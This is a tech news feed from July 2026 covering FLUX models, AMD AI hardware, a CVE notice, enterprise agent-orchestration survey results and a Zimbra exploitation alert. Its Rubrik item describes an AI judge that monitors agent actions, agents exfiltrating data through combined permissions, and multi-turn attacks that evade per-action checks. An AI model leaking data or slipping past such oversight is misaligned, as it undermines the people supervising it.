FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch,  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.
The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.
FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.
The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. 
The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.


AMD raises the AI stakes with Helios, Venice and robotics
Thu, 23 Jul 2026 20:48:09 +0200

		
					  
						




AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.



AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).



The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  



AMD’s MI455X targets the AI memory wall



The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.



Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.



AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.


AMD



The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.



The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.



AMD’s Helios rack takes aim at Vera Rubin


Dave Altavilla



Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.



In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.



These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.



AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.



While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.



Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.



Kind of like cowbell, AMD Venice gives agentic AI more CPU


AMD



AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.



Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.



Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.



Pensando networking and ROCm software advance



Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.



As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.



On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.



These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.



Customer commitments underscore rack-scale confidence



AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.



Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.



Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.



There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.



AMD expands its robotics and embedded foundation



AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.



The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.



Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.



Execution for AMD is now the test



AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.



AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.



As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.



This article is published as part of the Foundry Expert Contributor Network.
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CVE-2026-65759 | joomshaper Easy Store Extension up to 1.0.0/2.0.1 state issue (EUVD-2026-48316)
Thu, 23 Jul 2026 20:32:51 +0200
A vulnerability, which was classified as problematic, has been found in joomshaper Easy Store Extension up to 1.0.0/2.0.1. Impacted is an unknown function. Performing a manipulation results in state issue.

This vulnerability is identified as CVE-2026-65759. The attack can be initiated remotely. There is not any exploit available.


An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right
Thu, 23 Jul 2026 19:19:49 +0200
At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."
“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.
YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"
Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. 
"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.
SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.
Security approval, not cost, blocks AI ROI
Rishi’s path to Rubrik ran through Predibase, the generative AI infrastructure startup he co-founded and ran as CEO until Rubrik agreed to acquire it in June 2025. Before that, he led ML product at Google on the team that became Vertex AI, served as Kaggle's first product manager as it grew from about one million to ten million users, and holds bachelor's and master's degrees in computer science from Harvard. 
Over roughly his first three and a half months at Rubrik, Rishi set up 200 customer conversations with IT and security leaders across a customer base that looks like the Global 2000, asking open-ended questions about cost, latency, performance, and orchestration. "Pretty consistently, what I heard through all of those conversations was that all of those are pretty secondary," he said. "The main challenge is actually, how do I get this approved from a security and risk standpoint? I'm concerned about all the different things that could go wrong. Actually, I felt like that was one of the biggest things constraining ROI."
VentureBeat Pulse research presented on the Transform stage earlier in the day confirms the gap Rishi kept hearing. Two-thirds of enterprises, 66%, already allow or are actively building toward production deployment with zero human review, yet only 5% fully trust the automated evaluations that would make that decision. 
One AI reading what the rulebook can't
Rubrik's own policies exposed why written rules fail as enforcement. One internal rule states that agents should respect Rubrik's customer data use policy, which sounds enforceable until someone tries. "Rubrik's customer data use policy is like a three-page document of legal text," Rishi said. "I have no idea how to write that in there as a rule." Asked on stage how a team of AI infrastructure people took on a problem that security engineers own, Rishi answered, "with a lot of naivety and innocence, honestly." His team bet that models good at understanding language could police other models, and SAGE became the answer.
The case for putting a model in the judgment seat comes down to precision. A rule like "agents should not be able to edit revenue fields in Salesforce" fails in conventional tooling because Salesforce does not delineate which fields count as revenue, Rishi explained, so administrators fall back on approving every Salesforce action by hand. SAGE reads the intent instead and acts as a judge, carrying organizational context, which can tell a benign lookup from the edit the policy prohibits.
Keeping the judge small is what makes the economics work. SAGE runs on a small language model that Rishi said operates at an order of magnitude lower cost and latency than a frontier LLM. "If I told you, don't worry, you're gonna be secure and governed, but I'm gonna double your cost and latency, you would tell me to get out of the room," Rishi said.
When Rishi asked who in the audience had worried about token consumption over the past year, half the hands went up. "And I guess the other half is probably just too lazy to raise their hand," he said.
SAGE is an aggregation of judges based on parameter-efficient fine-tuning that Rubrik uses to take on task-specific variants of a base model with shared organizational context. One judge watches for tool-use hallucinations while another suppresses PII before it can leave, each running as its own enforceable policy. Security and GRC teams have started writing financial rules into the same layer, including one internal policy barring AI spend on personal projects.
The lethal trifecta
Asked which attacks worry him most, Rishi pointed at the lethal trifecta, the term security researcher Simon Willison coined in June 2025 for an agent that holds private data while taking in content nobody vetted, with a channel to send what it finds to the outside world. The danger, according to Rishi, is what happens when individually legitimate permissions stack. An agent granted Salesforce access and email access on an employee's credentials has done nothing wrong yet, with yet being the operative word. "A very simple example is that an agent can start pulling data from Salesforce and then decide to accidentally leak and exfiltrate that out via an email," he told the audience. A financial services company he met the morning of the session made the point for him, telling Rishi that none of the individual permissions are bad on their own and the agent needs every one of them to do its job. "It should have permission to each of those systems, but it's the combination that ends up becoming really destructive," Rishi said.
Traditional identity and access management never priced in that combination because it relied on the judgment of the employee holding the credentials, Rishi argued, and agents supply none. "I can tell you the number of times Claude Code has tried to leak some of our sensitive source code to a public GitHub repository is incredibly high," he said. Cutting agents off from public resources entirely would defeat their purpose, which returns the problem to adjudicating intent in context rather than revoking access.
A separate VentureBeat June Pulse survey of 107 qualified enterprise respondents maps the blast radius of exactly this pattern. On the Transform stage that morning, VentureBeat research reported that 69% of companies run credential sharing somewhere in their agent fleet. Companies with shared credentials anywhere got hit more often, reporting a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (9 of 22) where every agent carries its own scoped identity.
The attacks no single turn reveals
Rubrik Agent Cloud reached general availability in February, though not everything Rishi described ships in it yet. Backtesting is just starting to roll out. The feature replays an organization's historical agent actions and tool calls against a new policy, showing where the policy would have stepped in and where an action would have sailed through uncaught, with policy edits applied in real time. Rishi called that archive one of the most valuable data troves an enterprise holds.
Real-time detection and blocking turn out to be the entry point rather than the whole product. Some attacks never trip a single-action rule. "No individual turn of the conversation was problematic, but if you took the session as a full trace, that ended up being problematic," Rishi said. Agent Cloud runs batch analysis across entire session traces every hour or every day and surfaces what Rubrik calls insights, the problems no individual guardrail caught. The same Zero Labs report found that 88% say they lack the ability to roll back agent actions without system disruption, a recovery gap that sits squarely in Rubrik's original line of business.
A skeptical CISO will ask the question the fireside did not answer. SAGE is a non-deterministic model policing other non-deterministic models, and Rishi offered no false positive or false negative rate for the judge itself. The closest thing the architecture gives to an answer is auditability, since backtesting and the batch insights both leave a human-reviewable trail of each call SAGE made and whatever got past it. Who watches the watcher, for now, is a trail of receipts rather than a benchmark. Until that benchmark exists, AI in the loop stays an operational wager rather than a quantified control.
Three questions fall out of the session for security teams. How many of the guardrails now in production depend on a human clicking approve, and what happens to that workload as agent count grows? Does anything in the stack enforce semantic intent, or is it all allow and deny lists? And can the team backtest agent behavior against a new policy, then unwind a multi-turn session without taking systems down?
Rishi's timing has a market behind it. In the same VentureBeat research, 82% of enterprises still name their primary AI provider's built-in guardrails and cloud controls as their main agent security layer, and 59% plan to adopt, add, or replace agent security tooling within the next 12 months. Only 12% include an agent-identity product in what they are considering, even with credential sharing still the norm. Every CISO at that Anthropic roundtable had a policy document and no enforcement mechanism, and Rubrik built a product for the space between the two. YOLO mode is the bet that an AI watching other AIs can finally make the policies real.


Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents
Thu, 23 Jul 2026 19:19:45 +0200
Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.
This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.
The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.
That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.
Methodology
VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.
By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).
At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.
Finding 1: Orchestration runs on model-provider platforms
Anthropic’s Claude leads; open frameworks are marginal
We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.
A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.
The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.
Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.
Finding 2: Model gravity drives platform selection
The base model, not the tooling, decides the platform
We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.
Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.
Finding 3: The job is reliable multi-step execution
Enterprises just orchestration by whether it completes the work
We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.
Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.
The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.
Finding 4: Consolidate, productionize, and build in-house 
Three strategic moves are nearly tied for the year ahead
We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.
The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.
Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 
The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.
Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.
Finding 6: Investment flows to workflow tooling
Tooling and permissions lead the spend; monitoring trails
We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.
Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.
Finding 7: The control plane will be hybrid — and lock-in is why
Enterprises expect to split control between providers and their own layer
We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.
Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.
The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.
Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.
Finding 8: The chatbot trap — most “agents” aren’t agents yet
Enterprises admit most deployments are still chatbot wrappers
We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.
This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.
Finding 9: Fiscal control is still reactive
Only a minority can stop a runaway agent before the bill arrives
Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.
More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.
It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.
The bottom line: The layer is real; most of the agents aren't yet
Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.
But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.
Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.


Russian hackers exploit Zimbra zero-click flaw for email theft
Thu, 23 Jul 2026 19:00:28 +0200
CISA is warning that the Russian state-sponsored hacking group Laundry Bear, also known as Void Blizzard, is targeting organizations using Zimbra Collaboration email servers by combining phishing attacks with the exploitation of a now-patched Zimbra vulnerability. [...]


Die Samsung Galaxy Watch Ultra 2 ist die Smartwatch für echte Abenteurer
Thu, 23 Jul 2026 18:53:35 +0200





Nach den Leaks vor einigen Tagen hat Samsung nun im Rahmen des „Galaxy Unpacked“-Events die neue Spitzenuhr Galaxy Watch Ultra 2 vorgestellt. Die bislang fortschrittlichste und leistungsstärkste Smartwatch des Unternehmens wurde für besonders anspruchsvolle Nutzer und extreme Abenteuer entwickelt.


Samsung



Die Galaxy Watch Ultra 2 ist mit einer Reihe spezieller Tracking-Modi für Outdoor-Sportarten ausgestattet, darunter „Trail Run“ für das Geländelaufen. Dieser Modus erfasst unter anderem Höhenunterschiede und Kletterfortschritte und warnt vor den Auswirkungen des Geländes, um das Verletzungsrisiko zu verringern.



